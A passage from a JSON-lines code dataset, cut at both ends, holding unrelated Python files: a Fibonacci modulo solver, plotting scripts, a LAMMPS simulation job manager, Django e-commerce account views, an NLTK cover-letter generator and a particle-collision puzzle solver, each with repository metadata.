pis_list == [0, 1]:\r\n            period = i - 1\r\n            break\r\n    answer = calc_fib(el_number % period) % divsr_m\r\n    return answer\r\n\r\n\r\nif __name__ == '__main__':\r\n    input = sys.stdin.read()\r\n    n, m = map(int, input.split())\r\n    print(get_fibonacci_huge(n, m))\r\n","sub_path":"fibonacci_huge_final.py","file_name":"fibonacci_huge_final.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"479611326","text":"import sys\nimport os\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom pylab import *\n\ntxX = r_[-612.5, -612.5, 612.5, 612.5]-25\ntxY = r_[12.5, -612.5, -612.5, 12.5]-12.5\n\nblk = mpl.patches.Rectangle((-100,-100), 200, 200, color='0.5')\nblk.set_lw(0)\n\nblk2 = mpl.patches.Rectangle((-250,-150), 100, 200, color='0.8')\nblk2.set_lw(0)\n\nblk3 = mpl.patches.Rectangle((-500, 200), 800, 100, color='0.8')\nblk3.set_lw(0)\n\nblk4 = mpl.patches.Rectangle((150,-400), 150, 250, color='0.8')\nblk4.set_lw(0)\n\n\nx, y = meshgrid(r_[-600:600:50], r_[-587.5:587.5:50]-12.5)\nfig1 = plt.figure(figsize=(3.33, 3.33))\nfig1.subplots_adjust(bottom=0.05, top=1.0, left=0.17, right=.93)\nax = fig1.add_subplot(111)\nax.plot(txX, txY, color='k', ls='-', label='Tx Wire')\n\nax.add_patch(blk)\nax.add_patch(blk2)\nax.add_patch(blk3)\nax.add_patch(blk4)\n\nax.set_xlabel(\"Easting (m)\")\nax.set_ylabel(\"Northing (m)\")\nax.plot(x, y, marker='.', color='black', markersize=2, linestyle='None')\nplt.xlim(-900, 900)\nplt.ylim(-900, 900)\nax.set_aspect('equal')\n\nfig1.canvas.draw()\n\nfname = '../figs/gradLayout.eps'\nplt.savefig(fname, format='eps')\nos.system(\"open \" + fname)\n","sub_path":"phdThesisDave/phdThesis/ReducedAppend/figureCode/gradientLayout.py","file_name":"gradientLayout.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"311591043","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport sys\nimport os\n\nsys.path.insert(0, os.path.abspath(\n    os.path.join(os.path.dirname(__file__), '..', \"src\")))\n\nimport python_homie4 as homie   # noqa: E402\n\nmqtt_settings = {\n    \"MQTT_BROKER\": os.getenv(\"mqtt_broker\", \"localhost\"),\n    \"MQTT_PORT\": int(os.getenv(\"mqtq_port\", 1883)),\n}\n\n__all__ = (\n    homie,\n    mqtt_settings,\n)\n","sub_path":"tests/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"529569446","text":"import sqlite3\n\nwith sqlite3.connect(\"new.db\") as connection:\n    c = connection.cursor()\n    \n    print(\"Original Data:\")\n    c.execute(\"SELECT * FROM population\")\n    oRows = c.fetchall()\n\n    for row in oRows:\n        print(row)\n\n    c.execute(\"UPDATE population SET population = 9000000 \\\n        WHERE city = 'New York City'\")\n\n    c.execute(\"DELETE FROM population WHERE city = 'Boston'\")\n\n    print(\"New Data:\")\n\n    c.execute(\"SELECT * FROM population\")\n    nRows = c.fetchall()\n\n    for row in nRows:\n        print(row)\n","sub_path":"sqlg.py","file_name":"sqlg.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"411606206","text":"import os\nfrom lammps import lammps\nimport LammpsTools as lmp\nimport LammpsJobSave as lmpJobSave\nimport lmpWriter as l_writer\nimport config\nimport fifo\nimport misc.time as tm\nimport tempfile as temp\n\nclass Job(object):\n\n    def __init__(self, config_path):\n        super(Job, self).__init__()\n        self.config = self.read_config(config_path)\n        \n        self.config.sim_path['sim_list'] = os.path.join(self.config.sim_path['root'], 'sim.list')\n        open(self.config.sim_path['sim_list'], 'a').close()\n        if self.config.sim_parameter['local'] == 1:\n            self._switch_to_local()\n        else:\n            self.config.lmp_path['local_root'] = self.config.lmp_path['root']\n            self.config.lmp_path['fifo'] = temp.mkdtemp()\n\n    def read_config(self, path):\n        return config.JobConfig(path)\n\n    def _create_fifos(self):\n        fifo = {}\n        for name, data in self.config.fifo.items():\n            if name == 'distance_fifo':\n                fifo[name] = DistanceFifo(self, data['path'], data['script'], data['out'], data['stepsize'])\n            elif name == 'traj_compression':\n                fifo[name] = TrajCompressionFifo(self, data['path'], data['script'], data['out'], data['stepsize'])\n            else:\n                raise NotImplementedError('this fifo based postproduction is not yet implemented.')\n        return fifo\n\n    def setup_env(self):\n        self.env = lmp.Environment(self.config.sim_path['config'])\n        # Protein\n        self.protein_creator = lmp.ProteinCreator(self.env, self.config.sim_path['protein'])\n        self.protein = self.protein_creator.create()\n        self.protein_creator.change_to_res_based(self.protein)\n        # Polymer\n        if 'named_sequence' in self.config.sim_parameter:\n            self.polymer_creator = lmp.PolymerCreator(self.env, self.config.sim_parameter['named_sequence'], mode='cycle')\n        else:\n            self.polymer_creator = lmp.PolymerCreator(self.env, \n                self.config.sim_parameter['monomers'], weights=self.config.sim_parameter['weights'], \n                length=self.config.sim_parameter['poly_length'])\n        self.poly = self.polymer_creator.create()\n\n        self.sim = lmp.EnvManipulator(self.env, auto_repulsion=False)\n        self.sim.create_random_start_positions()\n        self.setup_writer = l_writer.LmpWriter(self.env)\n\n        # Update Lammps Parameters\n        self.config.sim_parameter['named_sequence'] = [particle.type_.name for particle in self.poly.data['particles']]\n        self.config.sim_parameter['id_sequence'] = [particle.type_.Id for particle in self.poly.data['particles']]\n        as_data = self.sim.activeSiteParticles(self.protein, self.config.sim_path['active_site'])\n        self.config.sim_parameter['active_site'] = {'xyz': map(int, as_data['xyz']), \n                                                    'chain': map(str, as_data['chain']), \n                                                    'pdb_id': map(int, as_data['pdb_id']), \n                                                    'iCode': map(str, as_data['iCode'])}\n        self.config.lmp_parameter['active_site_ids'] = self.config.sim_parameter['active_site']['xyz']\n        self.config.lmp_parameter['monomer_ids'] = self._get_monomer_ids()\n        self.config.save()\n        # fifos can only be created if the monomer ids are known\n        self.fifo = self._create_fifos()\n\n\n    def terminate_fifos(self):\n        for name, fifo in self.fifo.items():\n            fifo.terminate()\n\n    def setup_job_save(self):\n        self.compactor = lmpJobSave.JobSave(self.config.sim_path['root'])\n\n    def save(self):\n        self.compactor.save()\n        self.compactor.save_versions(lmp_version=lammps().version(),\n                                     lmp_tool_hash=lmp.__git_hash__)\n        self.compactor._db.close()\n\n    def clean_up(self):\n        self.compactor.clean_up()\n\n    def lmps_run(self, Id, parameters, paths, fifos={}):\n        self._start_fifo_capture(Id)\n        lammps_sim = lammps()\n        # submitting parameters\n        for name, val in parameters.items():\n            # lists are converted to strings\n            if isinstance(val, list):\n                val = ' '.join(map(str, val))\n            lammps_sim.command('variable %s string \"%s\"'% (name,val))\n        # submitting paths\n        for name, path in paths.items():\n            lammps_sim.command('variable %s string \"%s\"'% (name, path))\n        # submitting run Id\n        lammps_sim.command('variable num string %05d'% Id)\n        # starting script\n        lammps_sim.file(paths['script'])\n        # specify fifo dumps\n        for name,fifo in self.fifo.items():\n            lammps_sim.command(fifo.lammps_string())\n        lammps_sim.command('run ${time_steps}')\n        # write snapshot of end-comformation\n        lammps_sim.command('write_dump solid xyz ${end_xyz}.xyz')\n        lammps_sim.close()\n        # report completed simulation so restarting jobs will know\n        # also, it notes the machine and folder, so scattered info can be retrieved\n        self._mark_complete(Id)\n\n    def generate_new_sim(self, index):\n        # Create new Start Conditions\n        self.sim.create_random_start_positions()\n        # Create New Setup File\n        self.setup_writer.write('%s/%05d' % (self.config.lmp_path['input'], index))\n\n    def run(self):\n        start_idx = self._get_last_uncompleted_index()\n        end_idx = self.config.sim_parameter['sampling_rate']\n        # check if simulations is already completed\n        if start_idx == -1:\n            return \n        for i in xrange(start_idx,  end_idx):\n            self.generate_new_sim(i)\n            # start next LAMMPS run\n            self.lmps_run(i, self.config.lmp_parameter, self.config.lmp_path, fifos=self.fifo)\n            # mark job as completed\n        if start_idx != -1:\n            self._mark_complete(-1)\n        self.terminate_fifos()\n\n    def create_local_env(self, local_dir='/data/ohl/'):\n        '''\n        '''\n        name_comp = self.config.sim_path['root'].split('/')[-3:]\n        if name_comp[1] == 'jobs':\n            del name_comp[1]\n        else:\n            del name_comp[0]\n        folder_name = '-'.join(name_comp)\n        local_folder = os.path.join(local_dir, folder_name)\n        if not os.path.exists(local_folder):\n            os.mkdir(local_folder)\n        local_input_folder = os.path.join(local_folder, 'input')\n        if not os.path.exists(local_input_folder):\n            os.mkdir(local_input_folder)\n        local_output_folder = os.path.join(local_folder, 'output')\n        if not os.path.exists(local_output_folder):\n            os.mkdir(local_output_folder)\n        local_fifo_folder = os.path.join(local_folder, 'fifo')\n        if not os.path.exists(local_fifo_folder):\n            os.mkdir(local_fifo_folder)\n        new_paths = {'local_root': local_folder,\n                     'input': local_input_folder, \n                     'output': local_output_folder,\n                     'fifo': local_fifo_folder}\n        return new_paths\n\n    def _get_last_uncompleted_index(self):\n        '''get the last line of the sim_list file \n        and return the index.\n        '''\n        with open(self.config.sim_path['sim_list']) as f:\n            completed_sims = f.read().split('\\n')\n        if len(completed_sims) > 1:\n            last_line = completed_sims[-2]\n        else:\n            return 0\n        return int(last_line[:5])\n\n    def _switch_to_local(self):\n        '''if the data of the simulations \n        are to be stored locally, the lmp paths \n        are changed accordinly.\n        '''\n        new_paths = self.create_local_env()\n        self.config.lmp_path.update(new_paths)\n\n    def _mark_complete(self, index):\n        if self.config.sim_parameter['local'] == 1:\n            path = self.config.lmp_path['local_root']\n        else:\n            path = self.config.lmp_path['root']\n        with open(self.config.sim_path['sim_list'], 'a') as f:\n            info = '%05d;%s;%s;%s\\n' % (index, localhost(), path, tm.time_string())\n            f.write(info)\n\n    def _start_fifo_capture(self, index):\n        for name, fifo in self.fifo.items():\n            fifo.activate(index)\n\n    def _get_monomer_ids(self):\n        monomer_ids = set([p.type_.Id for p in self.poly.data['particles']])\n        return sorted(monomer_ids)      \n\n\nclass TrajCompressionFifo(fifo.FiFo):\n    '''This class feeds the output of LAMMPS to \n    the python script that calculates the distance between \n    the polymer and the active site.\n    '''\n    def __init__(self, job, fifo_name, script, file_name, steps_size=100):\n        self.parent = job\n        fifo_path = self.generate_path(fifo_name)\n        super(TrajCompressionFifo, self).__init__(fifo_path, script, file_name, steps_size)\n        self.args = self.additional_arguments()\n\n    def generate_path(self, file_name):\n        '''fifo files should reside in the fifo folder.\n        '''\n        if 'fifo' in self.parent.config.lmp_path:\n            fifo_folder = self.parent.config.lmp_path['fifo']\n        else:\n            fifo_folder = self.create_temp_folder()\n        return os.path.join(fifo_folder, file_name)\n\n    def additional_arguments(self):\n        '''The monomer IDs are needed to be able to discern\n        between active site and polymer.\n        '''\n        return ' '\n\n    def output_path(self, index):\n        file_name = '%s%05d.xyz.gz' % (self.out_file, index)\n        return os.path.join(self.parent.config.lmp_path['output'], file_name)\n\n    def lammps_string(self):\n        return 'dump fifo_traj solid xyz %d \"%s\"' % (self.step_size, self.fifo_path)\n\n\nclass DistanceFifo(fifo.FiFo):\n    '''This class feeds the output of LAMMPS to \n    the python script that calculates the distance between \n    the polymer and the active site.\n    '''\n    def __init__(self, job, fifo_name, script, file_name, steps_size=100):\n        self.parent = job\n        fifo_path = self.generate_path(fifo_name)\n        super(DistanceFifo, self).__init__(fifo_path, script, file_name, steps_size)\n        self.args = self.additional_arguments()\n\n    def generate_path(self, file_name):\n        '''fifo files should reside in the fifo folder.\n        '''\n        if 'fifo' in self.parent.config.lmp_path:\n            fifo_folder = self.parent.config.lmp_path['fifo']\n        else:\n            fifo_folder = self.create_temp_folder()\n        return os.path.join(fifo_folder, file_name)\n\n    def additional_arguments(self):\n        '''The monomer IDs are needed to be able to discern\n        between active site and polymer.\n        '''\n        return '-'.join(map(str, self.parent.config.lmp_parameter['monomer_ids']))\n\n    def lammps_string(self):\n        return 'dump fifo_distance distance_group xyz %d \"%s\"' % (self.step_size, self.fifo_path)\n\n    def output_path(self, index):\n        file_name = '%s%05d' % (self.out_file, index)\n        return os.path.join(self.parent.config.lmp_path['output'], file_name)\n\ndef localhost():\n    return os.uname()[1]\n","sub_path":"Tools/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":11006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"384042131","text":"\n\"\"\"\nSet up the plot figures, axes, and items to be done for each frame.\n\nThis module is imported by the plotting routines and then the\nfunction setplot is called to set the plot parameters.\n\n\"\"\"\n\nfrom pyclaw.geotools import topotools\nfrom pyclaw.data import Data\nimport dclaw.dplot as cd\n#import pdb\n\nfrom pyclaw.plotters import colormaps, geoplot\nfrom numpy import linspace\nimport dclaw.dplot as local_dplot\n\n#--------------------------\ndef setplot(plotdata):\n#--------------------------\n\n    \"\"\"\n    Specify what is to be plotted at each frame.\n    Input:  plotdata, an instance of pyclaw.plotters.data.ClawPlotData.\n    Output: a modified version of plotdata.\n\n    \"\"\"\n\n\n    from pyclaw.plotters import colormaps, geoplot\n    from numpy import linspace\n    import dclaw.dplot as local_dplot\n\n\n    plotdata.clearfigures()  # clear any old figures,axes,items data\n\n    def fixup(current_data):\n        t = current_data.t\n        import pylab\n        import matplotlib\n        import matplotlib.pyplot as pplt\n        pylab.title('')\n        xticktuple = ('75','80','85','90','95','100','105','110','115','120')\n        pylab.xticks(linspace(75,120,10),xticktuple,fontsize=32)\n        #pylab.xlabel('Downslope distance from gate (m)',fontsize=32)\n        pylab.yticks([],())\n        #pylab.yticks([-5,-3,-1,1,3,5,7],('-6','-4','-2','0','2','4','6'),fontsize=18)\n        pylab.axis('equal')\n        #pylab.grid()\n        #a = pplt.gca()\n        #cgrid = a.grid\n        #cgrid(which='major',axis='x',linewidth=0.25,color='0.75')\n        #print lines\n        #pdb.set_trace()\n        #pplt.getp()\n        pplt.gcf().subplots_adjust(left=0.0,bottom=0.15,right=1.0,top=1.0,wspace = 0.0,hspace=0.0)\n        #pylab.tight_layout(0.0,0.0)\n        pylab.xlim(74,122)\n        pylab.ylim(-4.0,6.0)\n\n\n    figkwargs = dict(figsize=(48*.3,11*.3/.85),dpi=1600)\n    #-----------------------------------------\n    # Figure for pcolor plot\n    #-----------------------------------------\n    plotfigure = plotdata.new_plotfigure(name='pcolor', figno=0)\n    plotfigure.show = True\n    plotfigure.kwargs = figkwargs\n    # Set up for axes in this figure:\n    plotaxes = plotfigure.new_plotaxes('pcolor')\n    plotaxes.afteraxes = fixup\n    plotaxes.title = ''\n\n\n    # Debris\n    plotitem = plotaxes.new_plotitem(plot_type='2d_pcolor')\n    plotitem.plot_var = geoplot.depth\n    plotitem.pcolor_cmap =  local_dplot.flume_colormap\n    plotitem.pcolor_cmin = 0.0\n    plotitem.pcolor_cmax = 0.18\n    plotitem.add_colorbar = False\n    plotitem.amr_gridlines_show = [0,0,0,0,0]\n    plotitem.gridedges_show = 0\n\n\n    # Land\n    plotitem = plotaxes.new_plotitem(plot_type='2d_pcolor')\n    plotitem.plot_var = local_dplot.land\n    plotitem.pcolor_cmap = local_dplot.runoutpad_colormap\n    plotitem.pcolor_cmin = 0.0\n    plotitem.pcolor_cmax = 0.1\n    plotitem.add_colorbar = False\n    plotitem.amr_gridlines_show = [1,1,0,0,0]\n    plotitem.kwargs = {'linewidths':0.001}\n    plotitem.gridedges_show = 0\n\n\n    # add contour lines of depth if desired\n    plotitem = plotaxes.new_plotitem(plot_type='2d_contour')\n    plotitem.show = True\n    plotitem.plot_var = geoplot.depth\n    plotitem.contour_levels = linspace(0.0,0.18,10)\n    plotitem.amr_contour_colors = ['k']  # color on each level\n    plotitem.kwargs = {'linestyles':'solid','linewidths':1}\n    plotitem.amr_contour_show = [0,0,1,1,0]\n    #plotitem.gridlines_show =  [1,1,0,0,0,0]\n    #plotitem.gridedges_show = 0\n\n\n    #-----------------------------------------\n\n    # Parameters used only when creating html and/or latex hardcopy\n    # e.g., via pyclaw.plotters.frametools.printframes:\n\n    plotdata.printfigs = True                # print figures\n    plotdata.print_format = 'png'            # file format\n    plotdata.print_framenos = 'all'  # range(70,190,10)  # list of frames to print\n    plotdata.print_gaugenos = 'all'            # list of gauges to print\n    plotdata.print_fignos = 'all'            # list of figures to print\n    plotdata.html = True                     # create html files of plots?\n    plotdata.html_homelink = '../README.html'   # pointer for top of index\n    plotdata.latex = True                    # create latex file of plots?\n    plotdata.latex_figsperline = 2           # layout of plots\n    plotdata.latex_framesperline = 1         # layout of plots\n    plotdata.latex_makepdf = False           # also run pdflatex?\n\n    return plotdata\n\n","sub_path":"USGSFlume/gate_release_example/setplot.py","file_name":"setplot.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"518471149","text":"import urlparse\n\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic import TemplateView, ListView, DetailView, CreateView, UpdateView, DeleteView\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.contrib import messages\nfrom django.utils.translation import ugettext as _\nfrom django.contrib.auth import authenticate, login as auth_login\nfrom django.contrib.sites.models import get_current_site\nfrom django.conf import settings\nfrom django.db.models import get_model\n\nfrom oscar.apps.address.forms import UserAddressForm\nfrom oscar.views.generic import PostActionMixin\nfrom oscar.apps.customer.forms import EmailAuthenticationForm, EmailUserCreationForm\nfrom oscar.core.loading import import_module\nimport_module('customer.utils', ['Dispatcher'], locals())\n\norder_model = get_model('order', 'Order')\norder_line_model = get_model('order', 'Line')\nbasket_model = get_model('basket', 'Basket')\nuser_address_model = get_model('address', 'UserAddress')\nemail_model = get_model('customer', 'email')\ncommunicationtype_model = get_model('customer', 'communicationeventtype')\n\n\nclass AccountSummaryView(ListView):\n    \"\"\"Customer order history\"\"\"\n    context_object_name = \"orders\"\n    template_name = 'customer/profile.html'\n    paginate_by = 20\n    model = order_model\n\n    def get_queryset(self):\n        \"\"\"Return a customer's orders\"\"\"\n        return self.model._default_manager.filter(user=self.request.user)[0:5]\n    \n    \nclass AccountAuthView(TemplateView):\n    template_name = 'customer/login_registration.html'\n    redirect_field_name = 'next'\n    login_prefix = 'login'\n    registration_prefix = 'registration'\n    communication_type_code = 'REGISTRATION'\n    \n    def get_logged_in_redirect(self):\n        return reverse('customer:summary')\n    \n    def get_context_data(self, *args, **kwargs):\n        context = super(AccountAuthView, self).get_context_data(*args, **kwargs)\n        redirect_to = self.request.REQUEST.get(self.redirect_field_name, '')\n        context[self.redirect_field_name] = redirect_to\n        context['login_form'] = EmailAuthenticationForm(prefix=self.login_prefix)\n        context['registration_form'] = EmailUserCreationForm(prefix=self.registration_prefix)        \n        return context\n    \n    def check_redirect(self, context):\n        redirect_to = context.get(self.redirect_field_name)\n        \n        netloc = urlparse.urlparse(redirect_to)[1]\n        if not redirect_to:\n            redirect_to = settings.LOGIN_REDIRECT_URL\n        elif netloc and netloc != self.request.get_host():\n            redirect_to = settings.LOGIN_REDIRECT_URL\n        return redirect_to\n    \n    def send_registration_email(self, user):\n        code = self.communication_type_code\n        ctx = {'user': user,\n               'site': get_current_site(self.request)}\n        try:\n            event_type = communicationtype_model.objects.get(code=code)\n        except communicationtype_model.DoesNotExist:\n            # No event in database, attempt to find templates for this type\n            messages = communicationtype_model.objects.get_and_render(code, ctx)\n        else:\n            # Create order event\n            messages = event_type.get_messages(ctx)\n\n        if messages and messages['body']:      \n            dispatcher = Dispatcher()\n            dispatcher.dispatch_user_messages(user, messages)\n    \n    def get(self, request, *args, **kwargs):\n        context = self.get_context_data(*args, **kwargs)\n        \n        if request.user.is_authenticated():\n            return HttpResponseRedirect(self.get_logged_in_redirect())\n\n        self.request.session.set_test_cookie()\n        return self.render_to_response(context)\n    \n    def post(self, request, *args, **kwargs):\n        context = self.get_context_data(*args, **kwargs)\n        redirect_to = self.check_redirect(context)\n        \n        if u'login_submit' in self.request.POST:\n            login_form = EmailAuthenticationForm(prefix=self.login_prefix, data=request.POST)            \n            if login_form.is_valid():\n                auth_login(request, login_form.get_user())\n                if request.session.test_cookie_worked():\n                    request.session.delete_test_cookie()\n                return HttpResponseRedirect(redirect_to)\n            context['login_form'] = login_form\n\n        if u'registration_submit' in self.request.POST:\n            registration_form = EmailUserCreationForm(prefix=self.registration_prefix, data=request.POST)\n            context['registration_form'] = registration_form\n            if registration_form.is_valid():\n                user = registration_form.save()\n                \n                if getattr(settings, 'OSCAR_SEND_REGISTRATION_EMAIL', True):\n                    self.send_registration_email(user)\n                \n                user = authenticate(username=user.email, password=registration_form.cleaned_data['password1'])\n                auth_login(self.request, user)\n                if self.request.session.test_cookie_worked():\n                    self.request.session.delete_test_cookie()                \n                return HttpResponseRedirect(redirect_to)\n        \n        self.request.session.set_test_cookie()\n        return self.render_to_response(context)\n\n    \nclass EmailHistoryView(ListView):\n    \"\"\"Customer email history\"\"\"\n    context_object_name = \"emails\"\n    template_name = 'customer/email-history.html'\n    paginate_by = 20\n\n    def get_queryset(self):\n        \"\"\"Return a customer's orders\"\"\"\n        return email_model._default_manager.filter(user=self.request.user)\n\n\nclass EmailDetailView(DetailView):\n    \"\"\"Customer order details\"\"\"\n    template_name = \"customer/email.html\"\n    context_object_name = 'email'\n    \n    def get_object(self):\n        \"\"\"Return an order object or 404\"\"\"\n        return get_object_or_404(email_model, user=self.request.user, id=self.kwargs['email_id'])\n\n\nclass OrderHistoryView(ListView):\n    \"\"\"Customer order history\"\"\"\n    context_object_name = \"orders\"\n    template_name = 'customer/order-history.html'\n    paginate_by = 20\n    model = order_model\n\n    def get_queryset(self):\n        \"\"\"Return a customer's orders\"\"\"\n        return self.model._default_manager.filter(user=self.request.user)\n\n\nclass OrderDetailView(DetailView):\n    \"\"\"Customer order details\"\"\"\n    model = order_model\n    \n    def get_template_names(self):\n        return [\"customer/order.html\"]    \n\n    def get_object(self):\n        return get_object_or_404(self.model, user=self.request.user, number=self.kwargs['order_number'])\n\n\nclass OrderLineView(DetailView, PostActionMixin):\n    \"\"\"Customer order line\"\"\"\n    \n    def get_object(self):\n        \"\"\"Return an order object or 404\"\"\"\n        order = get_object_or_404(order_model, user=self.request.user, number=self.kwargs['order_number'])\n        return order.lines.get(id=self.kwargs['line_id'])\n    \n    def do_reorder(self, line):\n        if not line.product:\n            messages.info(self.request, _(\"This product is no longer available for re-order\"))\n            return\n        \n        # We need to pass response to the get_or_create... method\n        # as a new basket might need to be created\n        self.response = HttpResponseRedirect(reverse('basket:summary'))\n        basket = self.request.basket\n        \n        # Convert line attributes into basket options\n        options = []\n        for attribute in line.attributes.all():\n            if attribute.option:\n                options.append({'option': attribute.option, 'value': attribute.value})\n        basket.add_product(line.product, 1, options)\n        messages.info(self.request, \"Line reordered\")  \n\n\nclass AddressListView(ListView):\n    \"\"\"Customer address book\"\"\"\n    context_object_name = \"addresses\"\n    template_name = 'customer/address-book.html'\n    paginate_by = 40\n        \n    def get_queryset(self):\n        \"\"\"Return a customer's addresses\"\"\"\n        return user_address_model._default_manager.filter(user=self.request.user)\n\n\nclass AddressCreateView(CreateView):\n    form_class = UserAddressForm\n    mode = user_address_model\n    \n    def form_valid(self, form):\n        self.object = form.save(commit=False)\n        self.object.user = self.request.user\n        self.object.save()\n        return HttpResponseRedirect(self.get_success_url())\n\n    def get_template_names(self):\n        return [\"customer/address-create.html\"]\n\n    def get_success_url(self):\n        return reverse('customer:address-list')\n\n\nclass AddressUpdateView(UpdateView):\n    form_class = UserAddressForm\n    model = user_address_model\n    \n    def get_queryset(self):\n        \"\"\"Return a customer's addresses\"\"\"\n        return user_address_model._default_manager.filter(user=self.request.user)    \n\n    def get_template_names(self):\n        return [\"customer/address-form.html\"]\n    \n    def get_success_url(self):\n        return reverse('customer:address-detail', kwargs={'pk': self.get_object().pk })\n\n\nclass AddressDeleteView(DeleteView):\n    model = user_address_model\n\n    def get_queryset(self):\n        \"\"\"Return a customer's addresses\"\"\"\n        return user_address_model._default_manager.filter(user=self.request.user)        \n\n    def get_success_url(self):\n        return reverse('customer:address-list')    \n    \n    def get_template_names(self):\n        return [\"customer/address-delete.html\"]\n","sub_path":"oscar/apps/customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"626925843","text":"import nltk\nimport os\nimport string\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nfrom nltk.corpus import stopwords, state_union\nfrom nltk.stem import PorterStemmer\nfrom nltk.probability import FreqDist\n\n#get input text \ndirpath = os.getcwd() + \"/Job Summary.txt\"\ndata = state_union.raw(dirpath)\n\n#initialize utilities\nlemma = nltk.wordnet.WordNetLemmatizer()\nps=PorterStemmer()\nstop_words = set(stopwords.words(\"english\"))\nmystop_words=[\"\\'ll\",\"position\",\"work\",\"job\",\"role\",\"year\",\"valley\",\"skill\",\"day\",\"summary\",\"must\",\"salary\",'ready','great','enriched','include','top','position','500','fortune','large','set','include','reasonable','providing','decent','like','using','along',]\njobDesStopWords=stop_words.union(mystop_words)\n\nweighedKeyWords = {'python':10}\ntemplate={'experience':[\"I worked at SAP for almost 3 years. While working there, I worked with fortune 500 companies like Coca-cola as a development support engineer by helping them with customization and consulting issues.\"],\n\t\t\t'data':[\"In my academic years, I completed many projects involving data cleansing, plotting, simulation and extrapolation using Matlab and Python.\",\n\t\t\t\"I obtained my certificate offered by Microsoft in \\\"Programming with Python for Data Science\\\" where I practiced with real datasets and real problem and achieved 91% upon obtaining the certificate.\"],\n\t\t\t'analytic':[\"I also applied data analysis to the sales data of a local business I owned and came up with new promotion based on the model. This new strategy has led to a 30% increment in the monthly revenue.\"],\n\t\t\t'degree':[\"I graduated from Queen's University in Canada with a degree of Specialization in Biomedical Computing.\"]}\n\n#tokenize into sentences and then words\nsents = sent_tokenize(data)\nwords = []\nfor s in sents:\n\twords += word_tokenize(s)\n\n#filter words \nfiltered_words = []\nwords = [w.lower() for w in words]\nfor w in words:\n\tw = lemma.lemmatize(w);\n\tif w not in string.punctuation and w not in jobDesStopWords:\n\t\tfiltered_words.append(w)\n#print (unlemmatized)\n#print(filtered_words)\n\nfdist = FreqDist(filtered_words)\ntop_200 = fdist.most_common(200)\n\n\n'''\nprint(top_200)\ntest=['abc','bcd'];\ntest.extend(['efg']*10);\nprint(test)\n'''\nname=input('What is your name? ')\njobPosition=input('What is your job position? ')\ncompanyName=input('What is the company\\'s name? ')\nnumbered_Top200 = []\nfor i in range(0,len(top_200)):\n\tnumberedkword=str(i+1)+\" \"+str(top_200[i][0])\n\tprint(numberedkword)\n\t#numbered_Top200.append(str(i+1)+\". \"+str(top_200[i][0]))\n#print(numbered_Top200);\nkeywords=input('Please select select the corresponding number for the word separated by comma with no space. ');\nkeywords=keywords.split(',');\ntextbody=\"\";\nfor s in keywords:\n\tkeyword=top_200[int(s)-1][0]\n\tif keyword in template:\n\t\ttextbody=textbody+(template[keyword][0])+\" \"\n\telse:\n\t\tprint(\"keyword {0} is not in template, please fix your template\".format(keyword));\n\ncoverletter=(\"Dear Recruiting Manager, \\nMy name is \" +name+\", I am writing this letter to express my interest in the \"+jobPosition+\" position available at \"+companyName+\n\t    \". As I thoroughly reading through the job description, I feel that with my knowledge and experience, I will be an excellent candidate for this position.\\n\"+ textbody +\n\t\t\"\\nI am a person who likes to be challenged and to be given responsibility. It would be my pleasure to grow together alongside with the company. With all my unique \"+\n\t\t\"experience and technical backgrounds, I believe I am a great candidate for this \"+jobPosition+\" position. \\nI therefore hope we could have the chance to discuss about \"+\n\t\t\"this opportunity further in an interview session.\\nSincerely, \\n\\n\"+name)\nprint(coverletter)\n\n\n\n","sub_path":"NLP.py","file_name":"NLP.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"18821818","text":"import re\nimport collections\nimport itertools\nimport math\nimport operator\n\nMAX_ROUNDS = 500\n\ndef magnitude(seq):\n    return sum(map(abs, seq))\n\ndef get_data():\n    data = []\n    with open(\"20_input.txt\") as file:\n        for line in file:\n            d = {}\n            for part in line.split(\", \"):\n                m = re.match(r\"(.)=<(-?\\d+),(-?\\d+),(-?\\d+)>\", part)\n                key, *vals = m.groups()\n                d[key] = list(map(int,vals))\n            data.append(d)\n    return data\n\ndef tick(data):\n    for d in data:\n        for i in range(3):\n            d[\"v\"][i] += d[\"a\"][i]\n            d[\"p\"][i] += d[\"v\"][i]\n\ndef intersection(a, b):\n    \"\"\"\n    given particles a and b, \n    returns the first non-negative integer time that they will collide, \n    or None if they don't collide at a non-negative integer time.\n    \"\"\"\n\n    def is_perfect_square(x):\n        root = int(math.sqrt(x))\n        return root**2 == x\n\n    def quadratic_for_ints(a,b,c):\n        \"\"\"returns a list of integer solutions\"\"\"\n        if a == 0:\n            if b == 0:\n                if c == 0:\n                    #nasty hack: there are infinite solutions,\n                    #but we can't return an infinite list,\n                    #so just return this sentinel value.\n                    return [float(\"inf\")]\n                else:\n                    return []\n            else:\n                if c%b != 0: return []\n                return [-c//b]\n        x = b**2 - 4*a*c\n        if x < 0 or not is_perfect_square(x):\n            return []\n        ops = (operator.add, operator.sub)\n        numerators = [op(-b, int(math.sqrt(x))) for op in ops]\n        integer_results = [x // (2*a) for x in numerators if x % (2*a) == 0]\n        return [x for x in integer_results if x>=0]\n\n    if a == b:\n        return 0\n\n    candidates = []\n    for i in range(3):\n        da = b[\"a\"][i]-a[\"a\"][i]\n   